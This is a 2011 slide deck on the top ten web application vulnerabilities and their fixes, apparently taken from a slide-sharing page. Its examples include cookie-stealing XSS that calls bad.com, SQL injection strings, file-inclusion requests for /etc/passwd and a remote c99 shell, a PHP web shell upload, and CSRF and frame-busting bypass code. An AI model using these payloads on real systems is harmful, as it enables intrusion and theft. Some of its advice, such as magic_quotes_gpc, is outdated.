BEST PRACTICES OF WEB APPLICATION SECURITY By SAMVEL GEVORGYAN

WEB APPLICATION
SECURITY
BEST PRACTICES OF 2011
Copyright 2011 © CYBER GATES
Permission is granted to copy, distribute and/or modify this document
under the terms of the GNU Free Documentation License

OVERVIEW
Web Application Security is a vast topic
and time is not enough to cover all kind
of malicious attacks and techniques for
avoiding them, so now we will focus on
top 10 high level vulnerabilities.
Web developers work in different ways
using their custom libraries and
intruder prevention systems and now
we will see what they should do and
should not do based on best practices.

CONTENT
1. Overview
2. Statistics
2.1. Statistics of vulnerabilities
2.2. Statistics of risk levels
3. Top 10 high level vulnerabilities
3.1. Cross-Site Scripting
3.2. Information Leakage
3.3. SQL Injection
3.4. Cross-Site Request Forgery
3.5. ClickJacking
3.6. Local/Remote File Inclusion

3.7. Unrestricted File Uploads
3.8. Phishing
3.9. Session Hijacking
3.10. Shell Injection
4. Cross-Site Scripting
4.1. Defination
4.2. Types
4.2.1. Non-persistent
4.2.2. Persistent
4.3. Non-persistent
4.4. Persistent
4.5. Common targets
4.6. Potentially Dangerous HTML elements

4.7. Best Solution
5. Information Leakage
5.1. Defination
5.2. Common reasons
5.2.1. Directory listing
misconfiguration
5.2.2. Unproper error handling
5.2.3. Unproper filetype handling
5.2.4. Sensetive HTML comments
5.3. Directory listing misconfiguration
5.4. Unproper error handling
5.5. Unproper filetype handling
5.6. Sensetive HTML comments

5.7. Best Solution
6. SQL Injection
6.1. Defination
6.2. Types
6.2.1. Normal SQL Injection
6.2.2. Blind SQL Injection
6.3. Normal SQL Injection
6.4. Blind SQL Injection
6.5. Solutions
6.6. Best Solution
7. Cross-Site Request Forgery
7.1. Defination
7.2. Useless defenses

7.3. Solutions
7.4. Best Solution
8. ClickJacking
8.1. Defination
8.2. FrameKillers
8.3. FrameKiller killers
8.4. Best Solution
9. Local/Remote File Inclusion
9.1. Defination
9.2. Types
9.2.1. Local File Inclusion
9.2.2. Remote File Inclusion
9.3. Local File Inclusion

9.4. Remote File Inclusion
9.5. Common exploits/requests
9.6. Common methods of attack
9.7. Potentially dangerous PHP functons
9.8. Best Solution
10. Unrestricted File Uploads
10.1. Defination
10.2. Common mistakes
10.3. Best Solution
11. Phishing
11.1. Defination
11.2. Best Solution
12. Session Hijacking

12.1. Defination
12.2. Best Solution
13. Shell Injection
13.1. Defination
13.2. Potentially dangerous PHP functions
13.3. Best Solution
14. Special thanks
15. Contact information
16. References

STATISTICS OF VULNERABILITIES
Source: ptresearch.blogspot.com/2010/06/web-application-vulnerability.html

STATISTICS OF RISK LEVELS
Source: ptresearch.blogspot.com/2010/06/web-application-vulnerability.html

TOP 10 HIGH LEVEL VULNERABILITIES
01. Cross-Site Scripting (XSS) [2005]
02. Information leakage
03. SQL Injection [~2005]
04. Cross-Site Request Forgery (CSRF) [1990s]
05. ClickJacking [J.Grossman and R.Hansen - 2008]
06. Local/Remote File Inclusion
07. Unrestricted File Upload
08. Phishing [1987, 1996]
09. Session Hijacking [early 2000s]
10. Shell injection

CROSS-SITE SCRIPTING
• DESCRIPTION:
Cross-Site Scripting is a type of web
application vulnerability when attacker
injects his executable code(Javascript,
VBScript, etc.) into a vulnerable
webpage.
• EXAMPLE:
http://site.com/search.php?q=<script>alert(
“XSS”)</script>

• TYPES:
1. Non-Persistent
2. Persistent
1.Non-Persistent:
In this type of XSS vulnerability an attacker is
able to execute his own code into a webpage
but no changes can be done in that website.

Non-Persistent
EXAMPLE:
http://www.site.com/viewtopic.php?id=4">
<script>document.location="http://bad.com
/logger.php?cookie="+document.cookie;</sc
ript>
OR
http://www.site.com/viewtopic.php?id=4”>
<script>document.write(“<img
src=‘http://bad.com/logger.php?cookie=“+
document.cookie+”’/>”);</script>

2.Persistent:
In this case attacker stores his executable
script in the vulnerable website database
which is being executed every time webpage
is showing the data.
Common targets are:
• Comments
• Chat messages
• E-mail messages
• Wall posts, etc.

Persistent
EXAMPLE:

Persistent
Comment in raw format:
and I like the way this website developers
work..hahaha :D :D
<SCRIPT/XSS
SRC="http://bad.com/xss.js">
</SCRIPT>

Potentially Dangerous HTML elemets:
src, href, lowsrc, xmlns, style, etc.
TAGS•<applet>
•<body>
•<embed>
•<frame>
•<script>
•<frameset>
•<html>
•<iframe>
•<img>
•<style>
•<layer>
•<ilayer>
•<meta>
•<object> ,etc.
ATTRIBUTES

Potentially Dangerous HTML events:
•Onblur
•Onchange
•Onclick
•Ondrag
•Onerror
•Onfocus
•Onkeypress
•Onkeyup
•Onload
•Onmouseover
•Onmousemove
•Onmove
•Onresize
•Onselectstart
•Onselect
•Onsubmit
•Onunload
•Onscroll, etc.
*all HTML events

SOLUTIONS:
• PHP function strip_tags()
• PHP Input Filter
• PHP libraries:
• HTML_Safe
• htmLawed
• kses
• Safe HTML Checker, etc.
Input sanitization
• PHP function htmlentities()
Output sanitization

BEST SOLUTION
OWASP HTML Purifier
• SAFE
HTML Purifier defeats XSS with an audited
whitelist
• CLEAN
HTML Purifier ensures standards-compliant
output
• OPEN
HTML Purifier is open-source and highly
customizable

BEST SOLUTION
COMPARISON:
Source: www.htmlpurifier.org/comparison

INFORMATION LEAKAGE
• DESCRIPTION:
Information Leakage is an application
weakness where an application reveals
sensitive data, such as technical details
of the web application, environment, or
user-specific data.
• EXAMPLE:
Warning:
include(pages/../../../../../../etc/passwd1)
[function.include]: failed to open stream:
No such file or directory in
/usr/www/users/kint/view.php on line 20

INFORMATION LEAKAGE
• CAUSES OF:
1. Directory listing misconfiguration
2. Unproper error handling
3. Unproper filetype handling
4. Sensitive HTML comments, etc.
1.Directory listing misconfiguration:
Leaving directory listing enabled allows the
attacker to read the list of all files in a
directory.

INFORMATION LEAKAGE
• EXAMPLE:
http://www.site.com/admin/
Directory listing misconfiguration

INFORMATION LEAKAGE
2.Unproper error handling:
Because of unproper error handling all the
unexpecting requests will generate error
messages which will be visible to the
attacker.
• EXAMPLE:
Warning: mysql_fetch_object():
supplied argument is not a valid
MySQL result resource in
/home/aes/public_html/news/list.php
on line 81

INFORMATION LEAKAGE
3.Unproper filetype handling:
Unproper filetype handling allows your
important files to be readable by the
attacker.
• EXAMPLE:
• sql_backup.tar.gz
• memberlist.xml
• phpinfo.html
• dbClass.inc
• Login.php.bkp

INFORMATION LEAKAGE
• EXAMPLE:
dbClass.inc
…
private $host = "localhost";
private $usr = “root“;
private $pwd = “i7kT0w“;
public $db = "brav_new";
public function Connect(){ … }
…
Unproper filetype handling

INFORMATION LEAKAGE
4. Sensitive HTML comments:
Notes left by web developers may content
important information which will cause of
the information leakage.
• EXAMPLE:
<form enctype="multipart/form-data"
action="upload.php" method="POST">

<input name="upload_file" type="file"
/>
…

BEST SOLUTION
Directory listing misconfiguration
A. put a blank file named index.html in that
directory.
B. put a file named .htaccess in that directory
consisting of only this line:
Options –indexes
NOTE: all sub-directories of that directory will
also get their directory listings turned off.

BEST SOLUTION
Unproper error handling
A. The following configurations should be done in
php.ini file:
• error_reporting = E_ALL
• display_errors = Off
• log_errors = On
• error_log = path/PHP_errors.log //any file in
which the web server has write privileges.

BEST SOLUTION
Unproper error handling
B. Create an .htaccess file in public_html directory
with the following lines:
php_flag display_errors off
php_flag log_errors on
php_value error_log path/PHP_errors.log
<Files path/PHP_errors.log>
Order allow,deny
Deny from all
Satisfy All
</Files

BEST SOLUTION
A. Don’t keep your important files with the
following extentions in your public web
directory if you don’t link to them in the
website:
• Compressed files(*.zip, *.rar, *.tar.gz, etc.)
• Database files(*.sql, *.cvs, *.xml, *.xls, etc.)
• Unknown files(*.inc, *.copy, *.bkp, etc.)

BEST SOLUTION
B. If you have a reason to keep those files in your
web public directory, create an .htaccess file in
that directory with the following lines of code:
<Files ~ ".(inc|sql)$">
order allow,deny
deny from all
</Files>

BEST SOLUTION
Sensitive HTML comments
A. No sensetive HTML comment must be used in a
website as every user will be able to view the
webpage source code.

SQL INJECTION
• DESCRIPTION:
This is a type of vulnerability when
attacker injects his custom SQL query
to the request to get sensetive data
from the database, read or write a
file.
• EXAMPLE:
http://site.com/product.php?id=4+AND+1=2
+UNION+SELECT+0,database(),1,2+--

SQL INJECTION
• TYPES:
1. Normal
2. Blind
1.Normal:
In this type of SQL Injection vulnerability
attacker sends a custom SQL query and gets
the output in the screen.

SQL INJECTION
• EXAMPLE:
http://site.com/product.php?id=1348+AND+1
=2+union+select+1,2,user(),database(),
5,version(),7+--
Normal SQL Injection

SQL INJECTION
2.Blind:
This type of injection is identical to normal
SQL Injection except that the SQL query
returns positive or negative response.
• EXAMPLE:
http://site.com/view.php?page=10+
and+substring(@@version,1,1)=5+--

SQL INJECTION
• PHP.ini configuration
• magic_quotes_gpc = on
• PHP functions
• filter_var()
• mysql_real_escape_string()
• sprintf()
• Put variables into the quotes(e.g:
‘$id’)
• Assign min privilages for mysql users
SOLUTIONS:

BEST SOLUTION
GreenSQL open source database firewall
• Activity monitoring and audit
• User rights management
• Real-time database protection
• Intrusion preventation(IPS)
• Database caching
• Encrypted comunication over SSL
• Virtual patching
• Reporting

BEST SOLUTION
GreenSQL open source database firewall
Source: www.greensql.net

CROSS-SITE REQUEST FORGERY
• DESCRIPTION:
This vulnerability of web application
allows other websites to send it
unauthorized requests using the
active session of its authorized users.
• EXAMPLE:
<img
src=“http://site.com/share.php?url=http://
bad.com” style=“display:none” />

EXAMPLE:
<div style=“display:none”>
<iframe name=“hidden”></iframe>
<form name=“Form” action=
“http://site.com/post.php” target=“hidden”
method=“POST”>
<input type=“text” name=“message” value=“I
like www.bad.com” />
<input type=“submit” />
</form>
<script>document.Form.submit();</script>
</div>

• USELESS DEFENSES:
• Only accept POST
Stops simple link-based attacks (IMG, frames, etc.)
But hidden POST requests can be created with
frames, scripts, etc.
• Referer checking
Some users prohibit referers, so you can’t just
require referer headers
Techniques to selectively create HTTP request
without referers exist
• Requiring multi-step transactions
CSRF attack can perform each step in order

• CAPTHCA systems
This is a type of challenge-
response test used in computing to
ensure that the response is not
generated by a computer.
• One-time tokens
Unlike the CAPTCHA systems this is a
unique number stored in the form
field and in session to compare them
after the form submition.
SOLUTIONS:

BEST SOLUTION
OWASP CSRFGuard
Add Token
to HTML
User
(Browser)
Business
Processing
OWASP
CSRFGuard
Verify Token
1. Add token with
regex
2. Add token with
HTML parser
3. Add token in
browser with
Javascript
• Adds token to:
– href attribute
– src attribute
– hidden field in all forms
• Actions:
– Log
– Invalidate
– Redirect
Source: www.owasp.org/index.php/CSRFGuard

CLICKJACKING
• DESCRIPTION:
ClickJacking or UI Redressing is an art of
taking actions without the user's
knowledge, such as clicking on a button that
appears to perform another function. It
works in all modern browsers that support
frames and css.
• EXAMPLE:
<div style="position:fixed; width:100%;
height:100%; z-index:999;"
onclick="alert(‘ClickJacked');"></div>

CLICKJACKING
• EXAMPLE:
<style> iframe { width: 500px; height: 400px;
/* Use absolute positioning to line up update button
with fake button */
position: absolute; top: 0px; left: 0px; z-index: 2;
/* Hide from view */
-moz-opacity: 0; opacity: 0; filter: alpha(opacity=0); }
button { position: absolute; top: 350px; left: 200px;
z-index: 1; width: 100px; } </style>
<h1>BEST GAME EVER!</1>
<button>PLAY!</button>
<iframe scrolling="no"
src="http://twitter.com/home?status=Yes, I did click the
button!!! (WHAT!!??)"></iframe>

CLICKJACKING
FrameKiller(frame busting)
• Defination:
Frame killers or frame busting is used
to defend against clickjacking attacks.
• Example:
if (top.location != location){
top.location = self.location;
}

CLICKJACKING
• Conditional statement
if (top != self)
if (top.location != self.location)
if (top.location != location)
if (parent.frames.length > 0)
if (window != top)
if (window.top !== window.self)
if (window.self != window.top)
if (parent && parent != window)
if (parent && parent.frames &&
parent.frames.length>0)
if((self.parent&&!(self.parent===self))&&(self.
parent.frames.length!=0))
Common FrameKillers

CLICKJACKING
top.location = self.location
top.location.href = document.location.href
top.location.replace(self.location)
top.location.href = window.location.href
top.location.replace(document.location)
top.location.href = window.location.href
top.location.href = "URL"
document.write('')
top.location.replace(document.location)
top.location.replace('URL')
top.location.replace(window.location.href)
top.location.href = location.href
self.parent.location = document.location
parent.location.href = self.document.location
Common FrameKillers
• Counter-action statement

CLICKJACKING
• Double framing
<iframe src="second.html"></iframe>
second.html
<iframe src="http://www.site.com"></iframe>
• Using onBeforeUnload event
<script>
window.onbeforeunload=function(){
return “do you want to leave this page?“;
}
</script>
<iframe src="http://www.site.com"></iframe>
FrameKiller killers

CLICKJACKING
• onBeforeUnload & 204 Flushing
var prevent bust = 0
window.onbeforeunload=function(){
killbust++
}
setInterval(function(){
if(killbust > 0){
killbust = 2;
window.top.location = 'http://no-content-204.com'
} }, 1);
<iframe src="http://www.victim.com"></iframe>
• etc.
FrameKiller killers

BEST SOLUTION
• FrameKiller(frame busting):
<style> html{ display : none; } </style>
<script>
if( self == top ) {
document.documentElement.style.display='block';
} else { top.location = self.location; }
</script>
• OWASP CSRFGuard
IMPORTANT: Unfortunately, there is no script which would protect your web application
against ClickJacking, however above mentioned is the best solution that we have now.

FILE INCLUSION
• DESCRIPTION:
This type of web application
vulnerability allows an attacker to
include local or remote file into the
vulnerable webpage.
• EXAMPLE:
http://site.com/view.php?file=../../../..
/../../../../../../../../../../etc/passwd%00

FILE INCLUSION
• TYPES:
1. Local
2. Remote
1.Local File Inclusion:
This type of inclusion is used to include
local files. Mostly used for server
configuration files such as system users
information, filesystem structure, etc.

FILE INCLUSION
• EXAMPLE:
http://site.com/include.php?file=../../..
/../../../../../../../../../../etc/passwd%00
root:*:0:0:Super User:/root:/bin/csh
daemon:*:1:1:Daemon:/nonexistent:/sbin/nologin
operator:*:2:5:Operator:/nonexistent:/sbin/nologin
bin:*:3:7:Binaries:/nonexistent:/sbin/nologin
tty:*:4:65533:tty Sandbox:/nonexistent:/sbin/nologin
kmem:*:5:65533:kmem
Sandbox:/nonexistent:/sbin/nologin
games:*:7:13:Games:/nonexistent:/sbin/nologin
news:*:8:8:News
Subsystem:/nonexistent:/sbin/nologin man:*:9:9:Man
Pages:/nonexistent:/sbin/nologin
ftp:*:14:5:Anonymous FTP Admin:/usr/ftp:/nonexistent
LOCAL FILE INCLUSION

FILE INCLUSION
2.Remote File Inclusion:
Unlike the local file inclusion this is
used to include remote scripts such as
web shells which is more dangerous
than the previous one.
Main goals:
• Remote code execution
• Remote root kit installation and
complete system compromise
• etc.

FILE INCLUSION
• EXAMPLE:
http://site.com/include.php?file=
http://bad.com/c99_shell.php&act
=ls&dir=%2Fvar
REMOTE FILE INCLUSION

FILE INCLUSION
VULNERABLE PHP CODES
• <?php include($_GET['file']); ?>
• <?php include($_GET['file'].".htm"); ?>
• <?php
include("includes/".$_GET['file']);
?>
• <?php
include("includes/".$_GET['file'].".htm");
?>
• etc.

FILE INCLUSION
COMMON EXPLOITS/REQUESTS
?file=../../../../../../../../../etc/passwd
?file=../../../../../../../../../var/lib/locate.db
?file=../../../../../../../../../var/log/apache/error.log
?file=../../../../../../../../../etc/passwd%00
?file=../../../../../../../../../var/www/accounts/%00
?file=http://bad.com/xss.php?xss=phpcode
?file=http://bad.com/shell.txt
?file=data://text/plain;base64,SU5KRUNURUQ=
?file=../../../../../../../../../etc/passwd.........
?file=../../../../../../../../../etc/passwd…………………..…
etc.

FILE INCLUSION
COMMON METHODS OF ATTACK
• Hostile data being uploaded to session
files, log data, and via image uploads
• Using compression or audio streams, such
as zlib:// or ogg://(allow_url_fopen/
allow_url_include may be disabled)
• Using PHP wrappers, such as php://input
• Using PHP’s data: wrapper, such as
data:;base64,PD9waHAgcGhwaW5mbygp
Oz8+
• etc.

FILE INCLUSION
• include()/include_once()
• require()/require_once()
• file_get_contents()
• fopen()
• file()
• copy()
• unlink()
• upload_tmp_dir()
• move_uploaded_file()
• imagecreatefromXXX()
POTENTIALLY DANGEROUS PHP FUNCTIONS

BEST SOLUTION
• Use whitelisted filenames or allow only valid file
name characters (e.g: /^(((?:.)(?!.))|w)+$/)
• Modify the php.ini configuration file:
register_globals = Off
magic_quotes_gpc = On
allow_url_fopen = Off
allow_url_include = Off
• Do not use any of the potentially dangerous PHP
functions(previous slide) without filtering user input

UNRESTRICTED FILE UPLOAD
• DESCRIPTION:
This vulnerability of a web application
allows attacker to upload malicious files to
the server. Most of the time those files
are web shell scripts to take control over
your web server.
• EXAMPLE:
$usrFile = $_FILES[‘userfile’][‘name’];
$uploadFolder= "uploads/";
if(move_uploaded_file($usrFile,$uploadFolder))
{ echo “File has been successfully uploaded.“;
} else{ echo “Error. Please try again!"; }

POST /upload1.php HTTP/1.1
…
Content-Type: multipart/form-data; boundary=xYzZY
--xYzZY
Content-Disposition: form-data; name="userfile";
filename="shell.php"
Content-Type: text/plain
<?php
system($_GET['command']);
?>
--xYzZY—
HTTP/1.1 200 OK
…
File has been successfully uploaded.
EXAMPLE:

• Using blacklist for file extensions
Checking only for *.php,*.cgi,..,*.exe, etc. extentions
• Checking only the mime type
Checking only the content of $_FILES[‘file’][‘type’]
• Unproper check of double extensions
Unproperly checking for the files such as *.php.jpg,
*.php.xyz, *.asp.1234, etc.
• Checking only the image header
Relying only on PHP functions such as getimagesize()
• Checking filetype in filename
Checking content of the filename after the last dot(.)
• etc.
COMMON MISTAKES:

BEST SOLUTION
• Define an .htaccess file that will only allow access to
files with allowed extensions. This will also prevent
double extension attacks.
deny from all
<Files ~ "^w+.(gif|jpe?g|png)$">
order deny,allow
allow from all
</Files>

BEST SOLUTION
• Prevent overwriting of existing files (to prevent the
.htaccess overwrite attack).
• Create a list of accepted mime-types (map
extensions from those mime types).
• Generate a random file name and add the
previously generated extension.
• Don’t rely on client-side validation only, since it is
not enough. Ideally one should have both server-
side and client-side validation implemented.

PHISHING
• DESCRIPTION:
Phishing is a Social Engineering
technique to steal confidential
information about the victim such as
user login credentials, credit card
information, etc. through the use of
fake login page.
• EXAMPLE:
http://www.qooqle.com/accounts/Ser
viceLogin?service=mail

BEST SOLUTION
• Use HTTPS instead of HTTP
The use of HTTPS is that user may see the details of the domain owner
in the SSL certificate information.
• Use short URL addresses for login pages
Use short URLs so that users could easily recognize login page address.
• Use Yahoo! Sign-in Seal like system
Sign-In Seal is a unique identifier chose by the user. This system stores
the user's unique identifier in the cookie and that cookie is shared
between local web browsers using Shared Object system provided by
Adobe Flash Player. It is not associated with the user’s login id, it is
associated with the user’s machine id.

SESSION HIJACKING
• DESCRIPTION:
This vulnerability of web application is
used to gain unauthorized access to web
resources of an authoriezed user by
having his/her session identifier(SID).
• EXAMPLE:
http://wg180.site.com/dk;jsessionid=0
754aff827cfe9f7db7f48e7018ed1e6.w
g180?st.cmd=userMain&tkn=8809

SESSION HIJACKING
• EXAMPLE:
http://wg180.site.com/dk;jsessionid=
0754aff827cfe9f7db7f48e7018ed1e6.
wg180?st.cmd=userMain&tkn=8809

BEST SOLUTION
• Store SID in HTTP cookies
To avoid accepting SIDs from GET and POST requests, the following
modification should be done in php.ini configuration file:
session.use_cookies = 1
session.use_only_cookies = 1
• Regenerate SID on each user request
Put session_regenerate_id(true); with this parameter after the
session_start() function call
• Accept only SIDs generated by your server
Use $_SESSION['SERVER_GENERATED_SID'] to identify whether SID has been
created by your web server

BEST SOLUTION
• Check for referrer, user-agent and IP address
All these three elements can be manipulated, but it is a good habit
to check them before accepting any data from a user side
• Destroy old SIDs
If user has SID which hasn’t been accessed for more than 10 minutes,
destroy it
• Comletely distroy the session on user logout
This kind of logout system may be used to completely distroy all the
session data
if (isset($_GET['LOGOUT'])){
session_unset();
session_destroy();
$_SESSION = array(); }

SHELL INJECTION
• DESCRIPTION:
Shell Injection is a web application
vulnerability which allows an
attacker to execute shell commands
in the web server.
• EXAMPLE:
http://site.com/manage.php?action=id

SHELL INJECTION
• EXAMPLE:
http://site.com/delete.php?file=/
<?php
$file = $_GET[‘file’];
echo 'erasing ' . $file . ‘<br />’;
system(“rm -Rf $file”) ;
echo ‘done‘;
?>
delete.php

• shell_exec()
• exec()
• `` (backticks)
• system()
• passthru()
• eval()
• popen()
• curl_exec()
• curl_multi_exec()
• show_source()
• proc_open()
• parse_ini_file()
• etc.
POTENTIALLY DANGEROUS PHP FUNCTIONS
SHELL INJECTION

BEST SOLUTION
• Disable all the potentially dangerous PHP functions
You should disable all the potentially dangerous PHP
functions in php.ini configuration file which you don’t use:
disable_functions=system,exec,etc.
• Allow only whitelisted commands to be used
You may have a list of non-dangerous commands which will
be allowed
• Use PHP built-in function to escape the user input
Use functions such as escapeshellarg() and escapeshellcmd()
to escape the user input.

THANK YOU!!
SPECIAL THANKS FOR KIND SUPPORT:
• MANU ZACHARIA
MVP (Enterprise Security), ISLA-2010 (ISC)², C|EH, C|HFI, CCNA,
MCP, AFCEH
Certified ISO 27001:2005 LA
• ROHIT SRIVASTWA
Founder, ClubHack
• C-DAC ACTS
acts.cdac.in

CONTACTS
• www.cybergates.am
Corporate website
• www.twitter.com/CyberGatesLLC
Company profile on Twitter
• www.facebook.com/CyberGates.LLC
Company profile on Facebook
• www.linkedin.com/company/CyberGates-LLC
Company profile on LinkedIn
• www.vimeo.com/CyberGates
Company channel on Vimeo

REFERENCES
• Statistics
http://ptresearch.blogspot.com/2010/06/web-application-vulnerability.html
http://ptresearch.blogspot.com/2010/06/web-application-vulnerability.html
• Cross-Site Scripting
http://en.wikipedia.org/wiki/Cross-site_scripting
http://knol.google.com/k/a-short-history-of-cross-site-scripting-viruses-worms
• Information Leakage
http://projects.webappsec.org/w/page/13246936/Information-Leakage
http://phpsec.org/projects/guide/1.html
• SQL Injection
http://en.wikipedia.org/wiki/SQL_injection
http://www.darkreading.com/database-security/167901020/security/application-
security/227300073/index.html
http://websec.wordpress.com/category/sqli/
• Cross-Site Request forgery
http://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29
http://projects.webappsec.org/w/page/13246919/Cross-Site-Request-Forgery

REFERENCES
• ClickJacking
http://en.wikipedia.org/wiki/Framekiller
http://seclab.stanford.edu/websec/framebusting/framebust.pdf
• File Inclusion
http://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/
http://www.madirish.net/?article=427
• Unrestricted File Upload
http://www.acunetix.com/websitesecurity/upload-forms-threat.htm
• Phishing
http://en.wikipedia.org/wiki/Phishing
http://security.yahoo.com/article.html?aid=2006102507
• Session Hijacking
http://en.wikipedia.org/wiki/Session_fixation
• Shell Injection
http://en.wikipedia.org/wiki/Code_injection#Shell_injection

BEST PRACTICES OF WEB APPLICATION SECURITY By SAMVEL GEVORGYAN

Recomendados

Recomendados

Más contenido relacionado

La actualidad más candente

La actualidad más candente (20)

Similar a BEST PRACTICES OF WEB APPLICATION SECURITY By SAMVEL GEVORGYAN

Similar a BEST PRACTICES OF WEB APPLICATION SECURITY By SAMVEL GEVORGYAN (20)

Más de Samvel Gevorgyan

Más de Samvel Gevorgyan (9)

Último

Último (20)

BEST PRACTICES OF WEB APPLICATION SECURITY By SAMVEL GEVORGYAN

Notas del editor